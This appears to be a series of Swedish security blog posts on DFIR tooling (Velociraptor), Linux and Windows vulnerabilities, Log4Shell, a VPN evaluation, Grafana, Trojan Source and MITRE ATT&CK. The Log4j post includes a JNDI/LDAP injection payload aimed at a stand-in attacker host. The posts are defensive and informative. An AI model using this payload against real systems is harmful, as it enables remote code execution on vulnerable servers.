Velociraptor för threat hunting

Velociraptor digital forensics and incident response (DFIR)

Velociraptor är ett digital forensics and incident response (DFIR)-verktyg som är utvecklat av Mike Cohen. Mike jobbade tidigare på Google och var då med och utvecklade Googles verktyg för IT-incidentutredningar vid namn Google Rapid Response (GRR).

Velociraptor är gratis och använda och det finns ett aktivt community som ständigt släpper nya VQL såsom denna som kan detektera CVE-2021-4034 (PwnKit aka polkit pkexec) eller denna (Log4jVulnHunter) för Log4j-sårbarheten. VQL är ett SQL-liknande språk för att skriva ”hunts” eller monitor-regler.

Klienten för Velociraptor går att köra på Windows, Linux och macOS samt så använder den TLS för kommunikationen mellan klient och server.

Tre tre främsta användningsområden för Velociraptor är följande:

  • Insamling av data och artefakter
  • Övervakning och monitorering
  • Threat hunting

Du har även möjlighet att ladda hem och köra tredjepartsprogram såsom Sysinternals Autoruns och använda den informationen för vidare analys. Och inbyggt så finns det stöd för att söka efter Indicators of Compromise och liknande med Yara. Minnesdumpar kan hämtas in med en winpmem och en VQL heter Acquisition.

Du kan även skicka vidare information som Velociraptor hämtar in till andra system som är bättre på att analysera mängder med information såsom Splunk eller Elasticsearch.

En av fördelarna som jag ser med Velociraptor är att tiden för mean time to detect (MTTD) och mean time to respond (MTTR) kan förkortas.

Men vad finns det för nackdelar då? Jo, tröskeln att komma igång och lära sig verktyget kan ta några dagar. Du inför även en ytterligare komponent till din IT-miljö där säkerhetsbrister kan uppstå.

Men sammanfattningsvis så rekommenderar jag helt klart Velociraptor om ni ej har en liknande förmåga i dagsläget i Er IT-miljö.

Skärmdumpar

Insamling av DNS-loggar via Event Tracing for Windows (ETW)
Ett jobb som samlar in scheduled tasks i Windows
Jag testar PwnKit exploiten och kör sedan en hunt för att identifiera den. Lyckas bra!
Hur det ser ut när man loggar in i Admin GUI:t. Visar server status som standard

Om du vill läsa mer och lära dig om Velociraptor rekommenderar jag hemsidan här:

Sammanfattning

Velociraptor är ett mycket bra komplement till Er redan befintliga miljö som troligtvis innehåller flertalet förmågor för att upptäcka och försvåra intrång. Tanken är inte att Velociraptor ska byta ut OSSEC, Wazuh, Sysmon, auditd eller liknande. Inte heller är Velociraptor ett antivirus-system som automatiskt uppdateras med nya IoC:er, men givetvis kan det till viss del utföra alla dessa funktioner.

Bildkälla

Två nya Linux-sårbarheter

Det är ingen bra vecka för Linux-baserade operativsystem såsom Debian, Ubuntu, Fedora och CentOS. Minst två olika sårbarheter har upptäckts och program för att nyttja dessa sårbarheter finns publicerade.

De två sårbarheterna som är aktuella just nu är en som går under namnet PwnKit och utnyttjar en brist i pkexec som är en del av Polkit, CVE-2021-4034. Den andra buggen är en kernel-bugg som kan användas för att göra Docker/container samt escapes från Kubernetes. För denna sista bugg så betalade Google ut en Bug Bounty på hela $31337 vilket är ungefär 300,000 svenska kronor.

Video där Qualys som identifierade sårbarheten visar hur polkit-buggen utnyttjas på Debian Bullseye:

Den andra Linux-kernelbuggen identifierades av CTF-teamet Crusaders of Rust där bl.a. William Liu och Jamie Hill-Daniel ingår, den har CVE-2022-0185.

För att buggen ska fungera på Docker så måste –privileged användas samt så hjälper den standard-seccomp profil som följer med. Men tyvärr är det inte allt för ofta som seccomp används för containers.

Det finns en exploit här och jag kan verkligen rekommendera deras utförliga write-up här:

Uppdatering: Amazon Linux 2 har inte polkit installerat som standard. Men om du installerar polkit så är det nuvarande paketet sårbart.

Remote Code Execution i Windows http.sys

Remote Code Execution i Windows http.sys

På tisdagen var det åter igen för Microsofts månatliga patch-release. En av de mer intressanta säkerhetsbristerna som åtgärdades var en Remote Code Execution (RCE) brist i http.sys. Sårbarheten har fått CVE-2022-21907.

Denna sårbarhet återfinns i hanteringen av HTTP-headers och mer specifikt HTTP trailers (RFC7230) och Microsoft uppger att sårbarheten kan utnyttjas för att spridas per automatik ”wormable”.

Som förmildrande åtgärd har Microsoft uppget att ta bort registernyckeln EnableTrailerSupport om den finns under denna sökväg:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters

Värt att notera är också att den har en CVSS base score på 9.8 av 10. Microsoft uppger även att standardinstallationer av Windows Server 2019 och Windows 10 version 1809 inte är sårbara, utan enbart om man manuellt slår på EnableTrailerSupport. Sårbarheten finns inte i Windows 10, version 1909.

Det är inte första gången som brister identifieras i http.sys, för att nämna några tidigare RCEer:

Identifiera log4j med OSS-Fuzz och några säkerhetshöjande tips

Såhär i efterhand är det bra att dra lärdomar från log4j-sårbarheten och hur vi i framtiden kan förhindra liknande sårbarheter. En av mina personliga metoder är att genomföra fuzz-tester för att identifiera indikationer på att något är fel i ett system, bibliotek eller mjukvara.

Ett av Googles projekt som har identifierat flest antal sårbarheter genom tiderna heter OSS-Fuzz och drivs av ett antal backends såsom  libFuzzer, AFL++ och Honggfuzz. I början av 2021 så fick libFuzzer stöd för att fuzza Java-kod med hjälp av Jazzer. Främst kod som är skriven JVM-baserade språk, såsom Java, Kotlin och Clojure.

Bildkälla: code-intelligence.com

För den fuzzing-kod som har hand om Remote JNDI-lookups så går den att se här. Men givetvis är fuzz-tester inte enbart den enda lösningen på att bygga säkra och robusta IT-system. Några andra säkerhetshöjande åtgärder för att försvåra attacker såsom Log4Shell (log4j) i framtiden:

  • Begränsa så att servrar och klienter inte får prata godtyckligt ut mot internet. Gäller även DNS-uppslag
  • Använd data-dioder för att föra in loggar i fysiskt separerade system. Till exempel en SOC/SIEM (airgap)
  • Se över Er software bill of materials (SBOM)
  • Genomför regelbundet automatiska och manuella penetrationstester
  • Öva regelbundet olika scenarior där ni exempelvis snabbt måste identifiera ett tredjepartsbibliotek och begränsa skadan som kan uppstå till följd av en sårbarhet
  • Se till att ni har verktyg som stödjer alla olika former av aktiviteter såsom den på raden ovan. Buzz-word för ett sådant verktyg kan vara Endpoint Detection & Response (EDR). Rekommenderar att snegla på Velociraptor (blogginlägg kommer)
  • Mjukvaror, system osv bör separeras så mycket som det går och gå med så låga behörigheter som möjligt. Se till att ha en förmåga att logga om en mjukvara avviker från detta
  • Ställ relevanta säkerhetskrav vid anskaffning av produkter och system. Följ upp så att dessa krav efterlevs

Photo by Danial Igdery on Unsplash

Log4shell

Log4shell CVE-2021-44228
Logo av Kevin Beaumon

Blogginlägget uppdaterat 2021-12-13 klockan 09:35

Jag har försökt att samla upp alla intressanta länkar och information i detta blogginlägg gällande den nya sårbarheten Log4shell, CVE-2021-44228 som påverkar hundratals om inte tusentals olika produkter och system. Obs: denna sårbarhet kallades felaktigt först för Logjam, men det är en äldre sårbarhet som har och göra med SSL/TLS.

Jag har skapat en lista med några saker som Er organisation bör genomföra mer eller mindre omgående. Inte direkt i någon prioriteringsordning, utan alla bör köras samtidigt:

  1. Kontrollera med leverantören av era produkter eller system om de har släppt någon patch
  2. Gör aktiv genomsökning efter sårbarheten. Främst från internet
  3. Använd ett EDR eller verktyg som ni har på servrar och klienter för att söka efter hashar/log4j biblioteket
  4. Detektion av utnyttjande av sårbarheten samt incidenthantering

När det gäller första punkten så kan jag tipsa om denna lista som försöker sammanställa system som är sårbara:

Och för andra punkten så kan jag rekommendera att använda Nuclei-scanner eller Burp Suite där plugins såsom ActiveScan++ eller Burp Bounty.

Och gällande punkt nummer tre så bör ni söka igenom efter följande hashar som länkas här. Men observera att de kan ligga i komprimerade jar-filer. Även detta script kan användas:

Log4shell IOCs: https://github.com/curated-intel/Log4Shell-IOCs

För punkt nummer fyra kan det vara lite trixigare. För att detektera om sårbarheten har utnyttjas så kan det vara svårt med grep osv. Främst för att det finns så otroligt många sätt att obfuskera payloaden, men kolla in denna lista för några tips:

Måste också nämna att Cybereason har tagit fram en exploit så patchar log4j. Rätt fyndigt:

Cloudflare har listat några av de payloads som de detekterat ute på internet:

Och sist men inte minst så vill du själv testa att utnyttja sårbarheten så finns detta Spring Boot-projekt för testning:

Se även mitt blogginlägg från i fredags här.

Allvarlig sårbarhet i Log4j

Uppdatering: Listan över sårbara applikationer och system bara växer. Nu senast har det visat sig att Ghidra från NSA är sårbart. Sårbarheten har fått det fyndiga namnet Log4Shell

Uppdatering 2: Nu har någon börjat att sammanställa en lista med sårbara system: https://twitter.com/80vul/status/1469250599846027265

Uppdatering 3: Sårbarheten har fått CVE-2021-44228. Uppdateringen log4j-2.15.0-rc1 var bristfällig så därför har log4j-2.15.0-rc2 släppts.

Uppdatering 4: Nu har version 2.16.0 släppts som helt stänger av JDNI som standard.

Log4j är ett populärt bibliotek som används för spårbarhet och loggning, flertalet populära system och produkter använder log4j såsom: Apple iCloud, Steam, Minecraft och Elasticsearch. Sårbarheten kan medge fjärrexekvering av kod (Remote Code Execution, RCE).

En bra payload för att testa är följande: 

${jndi:ldap://attacker.com/a}

Ovan payload använder sig av Java Naming and Directory Interface och LDAP för att försöka ansluta till attacker.com. Givetvis kan även Burp Suite Collaborator också användas eller interact.sh för att detektera kommunikation (OOB).

För att åtgärda bristen kan version log4j-2.15.0-rc1 av log4j installeras eller så kan man sätta inställningen log4j2.formatMsgNoLookups till true.

Se även denna tråd på HackerNews.

Utvärdering av VPN-tjänster

Utvärdering av VPN-tjänster

Den oberoende ideella organisationen Consumer Report har en avdelning vid namn Digital Lab. Digital Lab har genomfört en omfattande granskning av 16 st VPN-tjänster:

  • Betternet
  • CyberGhost
  • ExpressVPN
  • F-Secure Freedome VPN
  • Hotspot Shield
  • IPVanish
  • IVPN
  • Kaspersky VPN
  • Mozilla VPN
  • Mullvad
  • NordVPN
  • Private Internet Access (PIA)
  • Private Tunnel
  • ProtonVPN
  • Surfshark
  • TunnelBear

Och jag måste säga att resultatet är mycket intressant: Flertalet av dessa företag ägs av bolag med en tvivelaktig moralisk kompass, flertalet tjänster läcker trafik såsom DNS på flertalet sätt. VPN-utvärderingssajter som har samma ägare som VPN-tjänster, kill-switch:ar som inte fungerar osv osv.

Testet fokuserade inte på bandbredd eller prestanda utan på integritet och säkerhet. De verktyg som användes vid granskningen var bl.a. VPNalyzer som utvecklats av University of Michigan. Jag tänker inte gå in på detalj gällande alla tester men rapporten som är på 48 sidor är läsvärd (länkas nedan).

De tre VPN-tjänsterna som fick bäst betyg i testerna var: Mullvad, IVPN och Mozilla VPN. Men även dessa kan förbättra sina tjänster, och det som rapporten framhäver för dessa tre är följande:

  • Meddela hur de utför interna säkerhetsrevisioner och vilka aspekter av säkerheten är
    granskas och publicera sammanfattningar av dessa rapporter
  • Ge information om hur och när programvaran uppdateras för säkerhetsproblem
  • Beskriv tekniska åtgärder för att begränsa obehörig åtkomst till data
  • Meddela deadline för produktsupport/livslängd, med tydlig information om hur länge produkten stödjs
  • Sätt ett tidsfönster för att granska sårbarhetsavslöjande och felrapporter

Här kan du ladda hem rapporten som PDF i sin helhet:

Ny allvarlig sårbarhet i Grafana

Grafana

Det har identifierats en ny allvarlig sårbarhet i den populära open-source mjukvaran Grafana. Sårbarheten medger läsning av godtycklig fil från filsystemet. Sårbarheten är en så kallad 0-day LFI och utnyttjas just nu aktivt på internet. Ingen patch finns att tillgå just nu från Grafana och Grafana används av företag såsom Roblox, Paypal och Ebay. Mjukvaran används för att övervaka prestanda och andra datakällor och presentera denna visuellt på olika sätt.

Sårbarheten återfinnes i versionen som är högre än 8.0 av Grafana. Och för att scanna efter denna sårbarhet kan du exempelvis använda nuclei från Project Discovery:

Sårbarheten har och göra med hur plugins läses in. Läs mer på Github här över vilka sökvägar som går att använda.

Uppdatering: Grafana har nu släppt en uppdatering. Läs mer här:

Trojan Source

En ny metod har upptäckts för att gömma bakdörrar i källkod, denna nya metod har fått namnet Trojan Source. Sårbarheten har fått CVE-2021-42574 och går kort och gott ut på att använda speciella unicode-tecken som kastar om den logiska ordningen i källkoden. Dvs tittar du på koden med en editor så ser det ok ut men när du kompilerar koden så gör den något annat. En perfekt metod således att använda vid supply-chain attacker.

Följande animation visar ett kort demo på hur logiken kan kastas om om unicode bidirectional control characters används:

Redan nu har

Therefore, by placing Bidi override characters exclusively within comments and strings, we can smuggle them into source code in a manner that most compilers will accept. Our key insight is that we can reorder source code characters in such a way that the resulting display order also represents syntactically valid source code.

Forskningen är ett resultat från Nicholas Boucher och vid University of Cambridge. Och redan nu har programspråket Rust släppt en uppdatering till kompilatorn rustc som nu kommer att klaga om följande unicode-tecken återfinnes: U+202A, U+202B, U+202C, U+202D, U+202E, U+2066, U+2067, U+2068, U+2069.

Här kan du ladda hem whitepapret:

Uppdatering: För PoC till olika programspråk, se detta repo på Github.

Uppdatering 2: Github har nu lagt in en varning. Så här ser det ut när du tittar på en fil som innehåller ovan nämnda unicode-tecken:

Uppdatering 3: Förutom CVE-2021-42574 (BiDi attacken) så glömde jag att ange CVE-2021-42694 (för homoglyph attacken).

Uppdatering 4: Attacken är inte speciellt ny och har beskrivits ett antal gånger tidigare. Bl.a. inom Go-projektet här.

Ramverket ATT&CK version 10 nu släppt

Den populära hot-databasen ATT&CK från MITRE har nu släppts i version 10. Databasen innehåller beskrivningar på attackmetoder och olika tekniker som antagonister har använt sig av för att göra intrång.

Versionen innan denna version, dvs version 9 släpptes i April 2021. En av höjdpunkterna i version 10 är att datakällorna har fått en uppdatering och omtag. Dessa datakällor har prefixet DS och ser ut enligt följande:

MITRE ATT&CK datasources

Dessa nya datakällor underlättar relationerna i andra objekt som återfinnes inom ATT&CK. Och förutom ovan webbsida så finns orginalkällan till datan på Github. Just nu återfinnes informationen i YAML-formatet men i framtiden kommer STIX att användas.

Följande bild visar också hur datakällor fyller ett syfte i att beskriva en händelsekedja:

ATT&CK Datasource

Andra nyheter i version 10 av ATT&CK är att macOS och Linux har uppdaterats rejält, och detta genom ett samarbete med ledande forskare inom säkerhet på respektive operativsystem.

Även har ICS fått sig ett rejält lyft, dvs industriella kontrollsystem (SCADA). Dess matrix kan du hitta här:

Och den fullständiga changeloggen med uppdateringar hittar du här.